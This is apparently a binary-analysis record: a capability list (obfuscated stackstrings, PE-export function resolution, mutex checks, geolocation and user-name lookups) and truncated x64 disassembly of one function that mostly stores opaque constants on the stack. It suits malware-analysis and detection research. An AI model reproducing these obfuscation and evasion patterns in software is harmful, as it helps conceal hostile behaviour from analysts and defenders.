Function at 0x140005350
Capabilities:
Authenticate hmac
Check for unexpected memory writes
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Decompress data using quicklz
Encode data using base64
Enumerate disk volumes
Extract resource via kernel32 functions
Get disk size
Get geographical location
Get graphical window text
Get session user name
Hash data using djb2
Hash data using fnv
Manipulate console buffer
Move file
Parse pe header
Query environment variable
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x6fde8
call fcn.140320930
sub rsp, rax
mov dword [rsp + 0x5258], 0xe0b
mov byte [rsp + 0x70], 0x50
mov byte [rsp + 0x71], 0xc0
mov dword [rsp + 0x525c], 0x248b1e99
mov dword [rsp + 0x5260], 0x8560
mov byte [rsp + 0x72], 0x48
mov byte [rsp + 0x73], 0x2f
mov dword [rsp + 0x5264], 0x457c5892
mov dword [rsp + 0x5268], 0x3652a04a
mov byte [rsp + 0x74], 0x67
mov eax, 0x5b1
mov word [rsp + 0x10c8], ax
mov dword [rsp + 0x526c], 0x131dfe0a
mov dword [rsp + 0x5270], 0x7a8b9ff2
mov eax, 0x5b4
mov word [rsp + 0x10cc], ax
mov eax, 0x26
mov word [rsp + 0x10d0], ax
mov byte [rsp + 0x75], 0xcb
mov dword [rsp + 0x5274], 0x5e43
mov eax, 0x33a
mov word [rsp + 0x10d4], ax
mov byte [rsp + 0x76], 0xe2
mov eax, 0x408
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x5278], 0x70094665
mov byte [rsp + 0x77], 0x34
mov eax, 0x5f2
mov word [rsp + 0x10dc], ax
mov dword [rsp + 0x527c], 0x39b12d9f
mov dword [rsp + 0x5280], 0x7dd54047
mov dword [rsp + 0x5284], 0x97c1
mov eax, 0xc78
mov word [rsp + 0x10e0], ax
mov dword [rsp + 0x5288], 0x68b73247
mov dword [rsp + 0x528c], 0x91e5
mov dword [rsp + 0x5290], 0x344aacb9
mov byte [rsp + 0x78], 0x38
mov dword [rsp + 0x5294], 0xb346459
mov dword [rsp + 0x5298], 0x2d668546
mov dword [rsp + 0x529c], 0x9f9f
mov byte [rsp + 0x79], 0xf3
mov dword [rsp + 0x52a0], 0x7e84f402
mov byte [rsp + 0x7a], 0x2a
mov eax, 0x47a
mov word [rsp + 0x10e4], ax
mov dword [rsp + 0x52a4], 0x991f
mov eax, 0x50c
mov word [rsp + 0x10e8], ax
mov eax, 0x887
mov word [rsp + 0x10ec], ax
mov byte [rsp + 0x7b], 0x99
mov eax, 0xd9f
mov word [rsp + 0x10f0], ax
mov byte [rsp + 0x7c], 0x60
mov dword [rsp + 0x52a8], 0x67ae63f8
mov dword [rsp + 0x52ac], 0x6061
mov byte [rsp + 0x7d], 0x1f
mov dword [rsp + 0x52b0], 0xf3b
mov eax, 0xba9
mov word [rsp + 0x10f4], ax
mov dword [rsp + 0x52b4], 0x14f9
mov dword [rsp + 0x52b8], 0xefbf
mov dword [rsp + 0x52bc], 0x711c4d98
mov dword [rsp + 0x52c0], 0x5cbfad48
mov dword [rsp + 0x52c4], 0x33c35860
mov dword [rsp + 0x52c8], 0xef0b5c6
mov dword [rsp + 0x52cc], 0x42e20519
mov byte [rsp + 0x7e], 0x3c
mov dword [rsp + 0x52d0], 0x451529a
mov dword [rsp + 0x52d4], 0x6a734dd1
mov dword [rsp + 0x52d8], 0x23fa8135
mov dword [rsp + 0x52dc], 0x727ecb6d
mov dword [rsp + 0x52e0], 0x7fe7d5b6
mov eax, 0x6e4
mov word [rsp + 0x10f8], ax
mov dword [rsp + 0x52e4], 0x558f2f58
mov eax, 0x12
mov word [rsp + 0x10fc], ax
mov eax, 0x27
mov word [rsp + 0x1100], ax
mov byte [rsp + 0x7f], 0x28
mov byte [rsp + 0x80], 0x7b
mov dword [rsp + 0x52e8], 0x5092ca66
mov eax, 0x5c
mov word [rsp + 0x1104], ax
mov dword [rsp + 0x52ec], 0x1b9d40df
mov eax, 0xf0e
mov word [rsp + 0x1108], ax
mov byte [rsp + 0x81], 0x2b
mov dword [rsp + 0x52f0], 0x422dc76c
mov dword [rsp + 0x52f4], 0x4ffa
mov dword [rsp + 0x52f8], 0x1fba8c9d
mov dword [rsp + 0x52fc], 0x5de25793
mov byte [rsp + 0x82], 0xe
mov byte [rsp + 0x83], 0x24
mov dword [rsp + 0x5300], 0x49124dd4
mov byte [rsp + 0x84], 0xb6
mov dword [rsp + 0x5304], 0x1815
mov eax, 0xbe4
mov word [rsp + 0x110c], ax
mov dword [rsp + 0x5308], 0xf2ef
mov dword [rsp + 0x530c], 0x4b906d65
mov dword [rsp + 0x5310], 0x79d2103f
mov dword [rsp + 0x5314], 0x72cb114d
mov dword [rsp + 0x5318], 0x953
mov dword [rsp + 0x531c], 0x43ab
mov dword [rsp + 0x5320], 0x673d90ae
mov byte [rsp + 0x85], 0x14
mov dword [rsp + 0x5324], 0x3c6f2841
mov byte [rsp + 0x86], 0x6b
mov dword [rsp + 0x5328], 0x9db83f3
mov eax, 0xc74
mov word [rsp + 0x1110], ax
mov dword [rsp + 0x532c], 0x5290
mov dword [rsp + 0x5330], 0x1fa2
mov dword [rsp + 0x5334], 0x4353
mov dword [rsp + 0x5338], 0x5be4a10a
mov dword [rsp + 0x533c], 0x1bd6fe6
mov dword [rsp + 0x5340], 0x4a51
mov dword [rsp + 0x5344], 0x2680
mov dword [rsp + 0x5348], 0xd25
mov dword [rsp + 0x534c], 0x2b8d6329
mov eax, 0x2c9
mov word [rsp + 0x1114], ax
mov dword [rsp + 0x5350], 0x372e18e
mov dword [rsp + 0x5354], 0xd5f9013
mov byte [rsp + 0x87], 0x63
mov eax, 0x602
mov word [rsp + 0x1118], ax
mov dword [rsp + 0x5358], 0xba62
mov dword [rsp + 0x535c], 0x8c05
mov byte [rsp + 0x88], 0x17
mov dword [rsp + 0x5360], 0x7020329
mov byte [rsp + 0x89], 0x12
mov eax, 0x429
mov word [rsp + 0x111c], ax
mov dword [rsp + 0x5364], 0x86ee
mov dword [rsp + 0x5368], 0x54db5199
mov dword [rsp + 0x536c], 0x28a248c6
mov dword [rsp + 0x5370], 0xb65b
mov byte [rsp + 0x8a], 0xf2
mov dword [rsp + 0x5374], 0x5625fa79
mov dword [rsp + 0x5378], 0x6025
mov eax, 0x310
mov word [rsp + 0x1120], ax
mov byte [rsp + 0x8b], 0x55
mov byte [rsp + 0x8c], 0xe9
mov byte [rsp + 0x8d], 0x63
mov dword [rsp + 0x537c], 0x7c1da224
mov dword [rsp + 0x5380], 0x47dcf186
mov dword [rsp + 0x5384], 0x5476e7ec
mov dword [rsp + 0x5388], 0xd9a8532
mov eax, 0x5af
mov word [rsp + 0x1124], ax
mov dword [rsp + 0x538c], 0xec26
mov dword [rsp + 0x5390], 0x52148a4c
mov byte [rsp + 0x8e], 0x46
mov byte [rsp + 0x8f], 0xd9
mov dword [rsp + 0x5394], 0x8622
mov eax, 0x5aa
mov word [rsp + 0x1128], ax
mov dword [rsp + 0x5398], 0x6e0f
mov dword [rsp + 0x539c], 0x153b8b3
mov dword [rsp + 0x53a0], 0x16054ecc
mov dword [rsp + 0x53a4], 0x9c2f27
mov eax, 0x57e
mov word [rsp + 0x112c], ax
mov dword [rsp + 0x53a8], 0x51d5ea23
mov dword [rsp + 0x53ac], 0x642d5f04
mov dword [rsp + 0x53b0], 0x7fbcadb9
mov byte [rsp + 0x90], 0x2f
mov dword [rsp + 0x53b4], 0x282f26e8
mov dword [rsp + 0x53b8], 0x659f6a56
mov byte [rsp + 0x91], 0x2a
mov dword [rsp + 0x53bc], 0x58b022c8
mov byte [rsp + 0x92], 0xcf
mov byte [rsp + 0x93], 0xb
mov dword [rsp + 0x53c0], 0x4cc6
mov byte [rsp + 0x94], 0x79
mov dword [rsp + 0x53c4], 0xb859a13
mov eax, 0x31e
mov word [rsp + 0x1130], ax
mov dword [rsp + 0x53c8], 0x41782455
mov dword [rsp + 0x53cc], 0x23c1
mov eax, 0xf4e
mov word [rsp + 0x1134], ax
mov eax, 0xd23
mov word [rsp + 0x1138], ax
mov dword [rsp + 0x53d0], 0x875b
mov dword [rsp + 0x53d4], 0xb626
mov byte [rsp + 0x95], 0x29
mov byte [rsp + 0x96], 0xa0
mov dword [rsp + 0x53d8], 0x7a7b56f5
mov dword [rsp + 0x53dc], 0xa083
mov eax, 0x49
mov word [rsp + 0x113c], ax
mov dword [rsp + 0x53e0], 0x3acd4d74
mov byte [rsp + 0x97], 0x90
mov dword [rsp + 0x53e4], 0x4bb5b5b9
mov dword [rsp + 0x53e8], 0x718e0752
mov eax, 0xe6
mov word [rsp + 0x1140], ax
mov dword [rsp + 0x53ec], 0x785dda8a
mov dword [rsp + 0x53f0], 0x4d238685
mov dword [rsp + 0x53f4], 0x7f32
mov byte [rsp + 0x98], 0x87
mov dword [rsp + 0x53f8], 0xb833
mov byte [rsp + 0x99], 0x97
mov eax, 0x343
mov word [rsp + 0x1144], ax
mov eax, 0x2f7
mov word [rsp + 0x1148], ax
mov dword [rsp + 0x53fc], 0x861c
mov eax, 0x2c1
mov word [rsp + 0x114c], ax
mov byte [rsp + 0x9a], 0x35
mov dword [rsp + 0x5400], 0xf15
mov byte [rsp + 0x9b], 0x4e
mov dword [rsp + 0x5404], 0x53ababbb
mov dword [rsp + 0x5408], 0xc503
mov eax, 0x3de
mov word [rsp + 0x1150], ax
mov dword [rsp + 0x540c], 0xd1be7a
mov byte [rsp + 0x9c], 0x63
mov dword [rsp + 0x5410], 0x4e628899
mov dword [rsp + 0x5414], 0x4088
mov dword [rsp + 0x5418], 0xcf88
mov eax, 0x33f
mov word [rsp + 0x1154], ax
mov byte [rsp + 0x9d], 0x59
mov dword [rsp + 0x541c], 0x28170440
mov eax, 0x50b
mov word [rsp + 0x1158], ax
mov byte [rsp + 0x9e], 0x9b
mov dword [rsp + 0x5420], 0x5dd5
mov byte [rsp + 0x9f], 0x7d
mov dword [rsp + 0x5424], 0x54c21f8d
mov dword [rsp + 0x5428], 0x332b62f3
mov eax, 0x142
mov word [rsp + 0x115c], ax
mov byte [rsp + 0xa0], 0xfb
mov eax, 0x8f9
mov word [rsp + 0x1160], ax
mov eax, 0x713
mov word [rsp + 0x1164], ax
mov dword [rsp + 0x542c], 0x801f
mov dword [rsp + 0x5430], 0x59a9c9d8
mov dword [rsp + 0x5434], 0x6420ce91
mov dword [rsp + 0x5438], 0x202efc06
mov dword [rsp + 0x543c], 0x7a6f31e9
mov dword [rsp + 0x5440], 0x13d283f6
mov dword [rsp + 0x5444], 0x69b710d3
mov dword [rsp + 0x5448], 0x10b9f1d7
mov eax, 0xf10
mov word [rsp + 0x1168], ax
mov dword [rsp + 0x544c], 0x2796
mov byte [rsp + 0xa1], 0xa7
mov dword [rsp + 0x5450], 0x611d
mov byte [rsp + 0xa2], 0x73
mov eax, 0x179
mov word [rsp + 0x116c], ax
mov dword [rsp + 0x5454], 0x5f3bc0d2
mov byte [rsp + 0xa3], 0x73
mov dword [rsp + 0x5458], 0x75af54d2
mov dword [rsp + 0x545c], 0x5e9777c3
mov byte [rsp + 0xa4], 0x8a
mov eax, 0xd49
mov word [rsp + 0x1170], ax
mov dword [rsp + 0x5460], 0x1c2b476d
mov dword [rsp + 0x5464], 0x5f7eed0b
mov eax, 0xf0b
mov word [rsp + 0x1174], ax
mov dword [rsp + 0x5468], 0x1deff726
mov byte [rsp + 0xa5], 0x4d
mov dword [rsp + 0x546c], 0x6482a3c
mov dword [rsp + 0x5470], 0x410773c5
mov eax, 0x2c7
mov word [rsp + 0x1178], ax
mov dword [rsp + 0x5474], 0x4e40
mov dword [rsp + 0x5478], 0x14129bed
mov dword [rsp + 0x547c], 0x83df
mov dword [rsp + 0x5480], 0x1cbd
mov byte [rsp + 0xa6], 0xce
mov eax, 0x2e5
mov word [rsp + 0x117c], ax
mov eax, 0x20c
mov word [rsp + 0x1180], ax
mov byte [rsp + 0xa7], 0x56
mov byte [rsp + 0xa8], 0xd2
mov byte [rsp + 0xa9], 0x57
mov byte [rsp + 0xaa], 0xcc
mov eax, 0xe5
mov word [rsp + 0x1184], ax
mov eax, 0x613
mov word [rsp + 0x1188], ax
mov eax, 0x33
mov word [rsp + 0x118c], ax
mov eax, 0x19e
mov word [rsp + 0x1190], ax
mov dword [rsp + 0x5484], 0x52a6707b
mov dword [rsp + 0x5488], 0x6bd6c31
mov dword [rsp + 0x548c], 0x58d5bdb6
mov byte [rsp + 0xab], 0xcc
mov byte [rsp + 0xac], 0x5a
mov dword [rsp + 0x5490], 0xdc2a
mov byte [rsp + 0xad], 0x7e
mov dword [rsp + 0x5494], 0x6dca4a71
mov byte [rsp + 0xae], 0x81
mov byte [rsp + 0xaf], 0xca
mov dword [rsp + 0x5498], 0x3359a471
mov eax, 0x527
mov word [rsp + 0x1194], ax
mov dword [rsp + 0x549c], 0x5ab8128b
mov dword [rsp + 0x54a0], 0x42905de9
mov dword [rsp + 0x54a4], 0x795be620
mov byte [rsp + 0xb0], 0x18
mov byte [rsp + 0xb1], 0xac
mov eax, 0x2c1
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x54a8], 0x2968edcf
mov dword [rsp + 0x54ac], 0xe779
mov dword [rsp + 0x54b0], 0x3f7d
mov eax, 0x846
mov word [rsp + 0x119c], ax
mov byte [rsp + 0xb2], 0xcb
mov byte [rsp + 0xb3], 0xac
mov dword [rsp + 0x54b4], 0x52394108
mov dword [rsp + 0x54b8], 0x253f2bc2
mov byte [rsp + 0xb4], 0x78
mov byte [rsp + 0xb5], 3
mov dword [rsp + 0x54bc], 0x341c445f
mov dword [rsp + 0x54c0], 0x870
mov dword [rsp + 0x54c4], 0xb924
mov byte [rsp + 0xb6], 0x4f
mov dword [rsp + 0x54c8], 0x300608bf
mov byte [rsp + 0xb7], 0x59
mov dword [rsp + 0x54cc], 0xa460
mov dword [rsp + 0x54d0], 0x759a
mov dword [rsp + 0x54d4], 0x1878effe
mov dword [rsp + 0x54d8], 0x5875be71
mov dword [rsp + 0x54dc], 0x7ca44e1b
mov dword [rsp + 0x54e0], 0x7085cac8
mov dword [rsp + 0x54e4], 0x64f72881
mov dword [rsp + 0x54e8], 0x603c
mov dword [rsp + 0x54ec], 0x1042
mov byte [rsp + 0xb8], 0xdd
mov eax, 0xacb
mov word [rsp + 0x11a0], ax
mov dword [rsp + 0x54f0], 0x3bc734d7
mov eax, 0x2f7
mov word [rsp + 0x11a4], ax
mov dword [rsp + 0x54f4], 0x570f946
mov eax, 0x83
mov word [rsp + 0x11a8], ax
mov byte [rsp + 0xb9], 0x1c
mov eax, 0x779
mov word [rsp + 0x11ac], ax
mov dword [rsp + 0x54f8], 0x244ec578
mov dword [rsp + 0x54fc], 0xe1e8359
mov byte [rsp + 0xba], 0x1e
mov byte [rsp + 0xbb], 0x97
mov dword [rsp + 0x5500], 0xe6be
mov dword [rsp + 0x5504], 0x77109b21
mov dword [rsp + 0x5508], 0x642910b1
mov eax, 0x305
mov word [rsp + 0x11b0], ax
mov dword [rsp + 0x550c], 0x4a197710
mov dword [rsp + 0x5510], 0x5fb45db5
mov byte [rsp + 0xbc], 0xd3
mov dword [rsp + 0x5514], 0x1171c016
mov dword [rsp + 0x5518], 0xc67a
mov eax, 0x802
mov word [rsp + 0x11b4], ax
mov dword [rsp + 0x551c], 0xed2c
mov dword [rsp + 0x5520], 0x532dd539
mov dword [rsp + 0x5524], 0x2e09f763
mov eax, 0xb71
mov word [rsp + 0x11b8], ax
mov dword [rsp + 0x5528], 0xf3c2fab
mov dword [rsp + 0x552c], 0x2a3664d5
mov byte [rsp + 0xbd], 0xf
mov byte [rsp + 0xbe], 0x95
mov dword [rsp + 0x5530], 0x568ba305
mov byte [rsp + 0xbf], 0xf2
mov dword [rsp + 0x5534], 0xc190
mov dword [rsp + 0x5538], 0x2823a435
mov byte [rsp + 0xc0], 0x11
mov byte [rsp + 0xc1], 0xf3
mov eax, 0xadd
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x553c], 0x5061727c
mov dword [rsp + 0x5540], 0x4a7eddcc
mov dword [rsp + 0x5544], 0x631168e2
mov dword [rsp + 0x5548], 0x226b
mov dword [rsp + 0x554c], 0x279
mov dword [rsp + 0x5550], 0x27ee
mov eax, 0x602
mov word [rsp + 0x11c0], ax
mov dword [rsp + 0x5554], 0xb34f
mov dword [rsp + 0x5558], 0xfcd95c0
mov dword [rsp + 0x555c], 0x7e47ad69
mov dword [rsp + 0x5560], 0x6a5fbcc2
mov dword [rsp + 0x5564], 0x3d75
mov eax, 0xe30
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x5568], 0x1a9b3d05
mov byte [rsp + 0xc2], 0xdb
mov dword [rsp + 0x556c], 0x2db915e1
mov byte [rsp + 0xc3], 0x90
mov eax, 0x396
mov word [rsp + 0x11c8], ax
mov dword [rsp + 0x5570], 0x4b3a1375
mov eax, 0xe88
mov word [rsp + 0x11cc], ax
mov dword [rsp + 0x5574], 0xa4c0b9
mov byte [rsp + 0xc4], 0xd
mov dword [rsp + 0x5578], 0x6f6826a6
mov dword [rsp + 0x557c], 0x64c19302
mov eax, 0xc88
mov word [rsp + 0x11d0], ax
mov dword [rsp + 0x5580], 0x2aefd55
mov byte [rsp + 0xc5], 0xee
mov eax, 0x431
mov word [rsp + 0x11d4], ax
mov dword [rsp + 0x5584], 0xda9d
mov eax, 0x5e7
mov word [rsp + 0x11d8], ax
mov byte [rsp + 0xc6], 0x44
mov eax, 0xceb
mov word [rsp + 0x11dc], ax
mov dword [rsp + 0x5588], 0x773b664c
mov byte [rsp + 0xc7], 0x4d
mov byte [rsp + 0xc8], 0xc1
mov eax, 0x805
mov word [rsp + 0x11e0], ax
mov eax, 0x2ce
mov word [rsp + 0x11e4], ax
mov dword [rsp + 0x558c], 0x448d46a3
mov byte [rsp + 0xc9], 0x6a
mov byte [rsp + 0xca], 0x7d
mov dword [rsp + 0x5590], 0x16cc5553
mov byte [rsp + 0xcb], 0x63
mov dword [rsp + 0x5594], 0x7a8cb2d
mov byte [rsp + 0xcc], 0xcd
mov eax, 0x79e
mov word [rsp + 0x11e8], ax
mov dword [rsp + 0x5598], 0xddbb
mov dword [rsp + 0x559c], 0x631b
mov eax, 0x6f
mov word [rsp + 0x11ec], ax
mov eax, 0x46
mov word [rsp + 0x11f0], ax
mov dword [rsp + 0x55a0], 0x2708c85c
mov dword [rsp + 0x55a4], 0x569b626a
mov byte [rsp + 0xcd], 0x93
mov byte [rsp + 0xce], 0x59
mov dword [rsp + 0x55a8], 0x2393ee15
mov eax, 0xf3a
mov word [rsp + 0x11f4], ax
mov dword [rsp + 0x55ac], 0x5647ebb9
mov dword [rsp + 0x55b0], 0x462a6448
mov eax, 0x9da
mov word [rsp + 0x11f8], ax
mov dword [rsp + 0x55b4], 0x2a2b
mov eax, 0xb
mov word [rsp + 0x11fc], ax
mov dword [rsp + 0x55b8], 0x278dcced
mov byte [rsp + 0xcf], 3
mov byte [rsp + 0xd0], 0x2d
mov dword [rsp + 0x55bc], 0x33e8
mov eax, 0x9ab
mov word [rsp + 0x1200], ax
mov dword [rsp + 0x55c0], 0x3d70
mov dword [rsp + 0x55c4], 0x762d
mov dword [rsp + 0x55c8], 0x13264594
mov byte [rsp + 0xd1], 0xc2
mov dword [rsp + 0x55cc], 0x16510e7c
mov byte [rsp + 0xd2], 0x6f
mov dword [rsp + 0x55d0], 0x52ff91d1
mov byte [rsp + 0xd3], 6
mov dword [rsp + 0x55d4], 0x36931bf4
mov eax, 0xa3
mov word [rsp + 0x1204], ax
mov byte [rsp + 0xd4], 0xc2
mov byte [rsp + 0xd5], 0x65
mov dword [rsp + 0x55d8], 0xb7c5999
mov eax, 0xa3
mov word [rsp + 0x1208], ax
mov byte [rsp + 0xd6], 0x72
mov dword [rsp + 0x55dc], 0x6198f560
mov dword [rsp + 0x55e0], 0xb62f
mov dword [rsp + 0x55e4], 0x3ca73937
mov byte [rsp + 0xd7], 0x6e
mov dword [rsp + 0x55e8], 0x48b4db3
mov dword [rsp + 0x55ec], 0xad7f
mov dword [rsp + 0x55f0], 0x5b7bf76e
mov dword [rsp + 0x55f4], 0x8391
mov eax, 0x782
mov word [rsp + 0x120c], ax
mov eax, 0x690
mov word [rsp + 0x1210], ax
mov eax, 0x5c6
mov word [rsp + 0x1214], ax
mov dword [rsp + 0x55f8], 0x5482f53b
mov dword [rsp + 0x55fc], 0x5884b91d
mov byte [rsp + 0xd8], 0x12
mov eax, 0xec8
mov word [rsp + 0x1218], ax
mov dword [rsp + 0x5600], 0x1dda
mov dword [rsp + 0x5604], 0x5510cac6
mov eax, 0xcf5
mov word [rsp + 0x121c], ax
mov byte [rsp + 0xd9], 0x53
mov eax, 0x717
mov word [rsp + 0x1220], ax
mov dword [rsp + 0x5608], 0x17396eea
mov eax, 0x3f1
mov word [rsp + 0x1224], ax
mov dword [rsp + 0x560c], 0x980d
mov byte [rsp + 0xda], 0xe9
mov dword [rsp + 0x5610], 0x508b479e
mov eax, 0x2a5
mov word [rsp + 0x1228], ax
mov eax, 0x2ba
mov word [rsp + 0x122c], ax
mov byte [rsp + 0xdb], 0x4f
mov byte [rsp + 0xdc], 0x83
mov eax, 0x129
mov word [rsp + 0x1230], ax
mov eax, 0xb0e
mov word [rsp + 0x1234], ax
mov eax, 0x4fd
mov word [rsp + 0x1238], ax
mov eax, 0xc3e
mov word [rsp + 0x123c], ax
mov dword [rsp + 0x5614], 0xa7a2
mov eax, 0x39d
mov word [rsp + 0x1240], ax
mov dword [rsp + 0x5618], 0x2d14c4c
mov dword [rsp + 0x561c], 0x787bdd18
mov dword [rsp + 0x5620], 0x230e0f3d
mov dword [rsp + 0x5624], 0x14192ff3
mov eax, 0x505
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x5628], 0xc2e21a1
mov eax, 0xde2
mov word [rsp + 0x1248], ax
mov dword [rsp + 0x562c], 0x558fb179
mov eax, 0xcab
mov word [rsp + 0x124c], ax
mov eax, 0xa
mov word [rsp + 0x1250], ax
mov byte [rsp + 0xdd], 7
mov dword [rsp + 0x5630], 0xeb0
mov dword [rsp + 0x5634], 0x25ae5aa
mov dword [rsp + 0x5638], 0x690a91c1
mov dword [rsp + 0x563c], 0x87c376b
mov eax, 0x599
mov word [rsp + 0x1254], ax
mov eax, 0xdc9
mov word [rsp + 0x1258], ax
mov eax, 0x12
mov word [rsp + 0x125c], ax
mov dword [rsp + 0x5640], 0x15a9efc8
mov dword [rsp + 0x5644], 0x5a30
mov dword [rsp + 0x5648], 0xb3d9
mov dword [rsp + 0x564c], 0x2dd1bda7
mov dword [rsp + 0x5650], 0x5d5d40e3
mov dword [rsp + 0x5654], 0xa0cc
mov dword [rsp + 0x5658], 0x2d205a7
mov byte [rsp + 0xde], 0x38
mov byte [rsp + 0xdf], 0x5a
mov eax, 0xfa
mov word [rsp + 0x1260], ax
mov byte [rsp + 0xe0], 0xeb
mov dword [rsp + 0x565c], 0xe300f93
mov byte [rsp + 0xe1], 0xfa
mov dword [rsp + 0x5660], 0xedc8
mov eax, 0x551
mov word [rsp + 0x1264], ax
mov byte [rsp + 0xe2], 0x71
mov byte [rsp + 0xe3], 0x51
mov dword [rsp + 0x5664], 0xcff9
mov dword [rsp + 0x5668], 0xb490626
mov dword [rsp + 0x566c], 0x363b
mov dword [rsp + 0x5670], 0x419aa74c
mov dword [rsp + 0x5674], 0x5cab4094
mov byte [rsp + 0xe4], 0x3f
mov dword [rsp + 0x5678], 0xd2b0
mov byte [rsp + 0xe5], 0xa4
mov eax, 0x7f0
mov word [rsp + 0x1268], ax
mov dword [rsp + 0x567c], 0x2157d9b5
mov byte [rsp + 0xe6], 0x5a
mov dword [rsp + 0x5680], 0x3dbff039
mov dword [rsp + 0x5684], 0x9f6b
mov dword [rsp + 0x5688], 0x26dd7c6d
mov dword [rsp + 0x568c], 0x4b8fbd11
mov eax, 0x5e6
mov word [rsp + 0x126c], ax
mov dword [rsp + 0x5690], 0x574d
mov dword [rsp + 0x5694], 0xd42fc93
mov dword [rsp + 0x5698], 0xe07b
mov dword [rsp + 0x569c], 0xd8c4
mov dword [rsp + 0x56a0], 0x37c56fef
mov dword [rsp + 0x56a4], 0x272d
mov byte [rsp + 0xe7], 0x68
mov dword [rsp + 0x56a8], 0x9963
mov dword [rsp + 0x56ac], 0x4819
mov dword [rsp + 0x56b0], 0x74300fec
mov eax, 0xaf5
mov word [rsp + 0x1270], ax
mov dword [rsp + 0x56b4], 0x26a1
mov eax, 0xdd2
mov word [rsp + 0x1274], ax
mov eax, 0xdf5
mov word [rsp + 0x1278], ax
mov byte [rsp + 0xe8], 0x48
mov eax, 0xf5
mov word [rsp + 0x127c], ax
mov eax, 0xb2d
mov word [rsp + 0x1280], ax
mov eax, 0x6f
mov word [rsp + 0x1284], ax
mov dword [rsp + 0x56b8], 0x4414d937
mov dword [rsp + 0x56bc], 0x5c8a80a4
mov byte [rsp + 0xe9], 0x3d
mov dword [rsp + 0x56c0], 0x55bf3fdd
mov dword [rsp + 0x56c4], 0x9597
mov eax, 0x42c
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x56c8], 0x1523a054
mov byte [rsp + 0xea], 0x7e
mov dword [rsp + 0x56cc], 0x4f48b4db
mov eax, 0x56d
mov word [rsp + 0x128c], ax
mov eax, 0x396
mov word [rsp + 0x1290], ax
mov byte [rsp + 0xeb], 0xbc
mov dword [rsp + 0x56d0], 0x52f0
mov dword [rsp + 0x56d4], 0x75660a02
mov dword [rsp + 0x56d8], 0x62d72461
mov byte [rsp + 0xec], 0x94
mov eax, 0x194
mov word [rsp + 0x1294], ax
mov dword [rsp + 0x56dc], 0x4bb5977d
mov eax, 0xd52
mov word [rsp + 0x1298], ax
mov byte [rsp + 0xed], 0x2f
mov byte [rsp + 0xee], 4
mov dword [rsp + 0x56e0], 0x7fe314d5
mov eax, 0xc6e
mov word [rsp + 0x129c], ax
mov dword [rsp + 0x56e4], 0x26711f18
mov byte [rsp + 0xef], 0x4b
mov dword [rsp + 0x56e8], 0x51965751
mov dword [rsp + 0x56ec], 0x4b7b2fd9
mov eax, 0x636
mov word [rsp + 0x12a0], ax
mov eax, 0x6fc
mov word [rsp + 0x12a4], ax
mov byte [rsp + 0xf0], 0xdf
mov byte [rsp + 0xf1], 0x8d
mov byte [rsp + 0xf2], 0x34
mov dword [rsp + 0x56f0], 0x7c76c639
mov dword [rsp + 0x56f4], 0x731c69f6
mov dword [rsp + 0x56f8], 0xbe227f5
mov dword [rsp + 0x56fc], 0x649a8faa
mov eax, 0x493
mov word [rsp + 0x12a8], ax
mov dword [rsp + 0x5700], 0x134f
mov dword [rsp + 0x5704], 0x1473
mov dword [rsp + 0x5708], 0x75ae4b7
mov dword [rsp + 0x570c], 0x149a5d4d
mov dword [rsp + 0x5710], 0xc0e0
mov eax, 0xf9
mov word [rsp + 0x12ac], ax
mov dword [rsp + 0x5714], 0x3d4627ed
mov dword [rsp + 0x5718], 0x2a45
mov dword [rsp + 0x571c], 0x7a4cd03d
mov eax, 0x478
mov word [rsp + 0x12b0], ax
mov dword [rsp + 0x5720], 0x3fc5
mov dword [rsp + 0x5724], 0xea2e8c
mov dword [rsp + 0x5728], 0x73e18723
mov byte [rsp + 0xf3], 0x37
mov dword [rsp + 0x572c], 0x474633f6
mov byte [rsp + 0xf4], 0xb3
mov dword [rsp + 0x5730], 0x290cd8e0
mov eax, 0xdcd
mov word [rsp + 0x12b4], ax
mov dword [rsp + 0x5734], 0x7fc6fb6e
mov byte [rsp + 0xf5], 0x6a
mov eax, 0x501
mov word [rsp + 0x12b8], ax
mov dword [rsp + 0x5738], 0x1827
mov dword [rsp + 0x573c], 0x5eb12313
mov dword [rsp + 0x5740], 0x5d7ac924
mov eax, 0x67b
mov word [rsp + 0x12bc], ax
mov dword [rsp + 0x5744], 0x64ddba40
mov dword [rsp + 0x5748], 0x36f25070
mov dword [rsp + 0x574c], 0x85a8
mov dword [rsp + 0x5750], 0x28d5
mov dword [rsp + 0x5754], 0x2aa5852b
mov byte [rsp + 0xf6], 0xdc
mov byte [rsp + 0xf7], 0x92
mov dword [rsp + 0x5758], 0x7f5fcaed
mov eax, 0xb5a
mov word [rsp + 0x12c0], ax
mov dword [rsp + 0x575c], 0x5419
mov eax, 0xfdc
mov word [rsp + 0x12c4], ax
mov dword [rsp + 0x5760], 0x11528fdc
mov dword [rsp + 0x5764], 0x1e455201
mov eax, 0xce8
mov word [rsp + 0x12c8], ax
mov byte [rsp + 0xf8], 0x8a
mov eax, 0x34f
mov word [rsp + 0x12cc], ax
mov byte [rsp + 0xf9], 0x10
mov byte [rsp + 0xfa], 0x44
mov dword [rsp + 0x5768], 0x682f
mov dword [rsp + 0x576c], 0x1f4fde93
mov dword [rsp + 0x5770], 0x25625e98
mov dword [rsp + 0x5774], 0x250a63ed
mov dword [rsp + 0x5778], 0x48434943
mov dword [rsp + 0x577c], 0x577e
mov byte [rsp + 0xfb], 0x80
mov byte [rsp + 0xfc], 3
mov byte [rsp + 0xfd], 0x7a
mov dword [rsp + 0x5780], 0x2aeb045f
mov dword [rsp + 0x5784], 0x23782684
mov byte [rsp + 0xfe], 0x2a
mov dword [rsp + 0x5788], 0x4658
mov dword [rsp + 0x578c], 0x2eb1aa5f
mov dword [rsp + 0x5790], 0xb05
mov eax, 0x123
mov word [rsp + 0x12d0], ax
mov dword [rsp + 0x5794], 0x96914c6
mov eax, 0xa41
mov word [rsp + 0x12d4], ax
mov dword [rsp + 0x5798], 0x35bb18b1
mov dword [rsp + 0x579c], 0xb0a6
mov dword [rsp + 0x57a0], 0x153a2e5a
mov eax, 0x198
